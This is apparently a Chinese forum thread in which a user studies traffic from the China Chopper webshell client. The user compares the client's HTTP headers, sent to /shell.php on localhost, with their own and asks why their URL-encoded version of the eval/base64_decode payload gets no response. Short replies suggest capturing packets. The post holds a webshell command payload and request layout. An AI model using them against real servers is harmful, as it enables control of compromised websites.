今天无聊研究了一下菜刀的payload
,结果发现自己发包却没有数据回显,POST 请求头相同(问题不在这里):
// 菜刀的 headers
POST /shell.php HTTP/1.1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/
X-Forwarded-For: 238.212.118.226
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Host: 127.0.0.1
Content-Length: 380
Pragma: no-cache
// 自己发的包
POST /shell.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Accept-Encoding: identity
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://127.0.0.1/
Content-Length: 414
请求体的区别是菜刀的 payload 没有被 URL encode:
@eval(stripcslashes(base64_decode(stripcslashes($_POST[z0]))));
而我浏览器 or 脚本发包均为:
%40eval%28stripcslashes%28base64_decode%28stripcslashes%28%24_POST%5Bz0%5D%29%29%29%29%3B
无数据回显的原因已经确定,就是这里数据被编码的问题,那么问题是,同样是Content-Type: application/x-www-form-urlencoded
,为什么我控制不了它的数据包被编码,难道这里需要我直接发 TCP 报文模拟咩
1
locoz 2018-11-15 00:44:03 +08:00 via Android
不一定是这个问题,建议直接抓包对比
|
2
whoami9894 OP @locoz
就是直接抓的包 |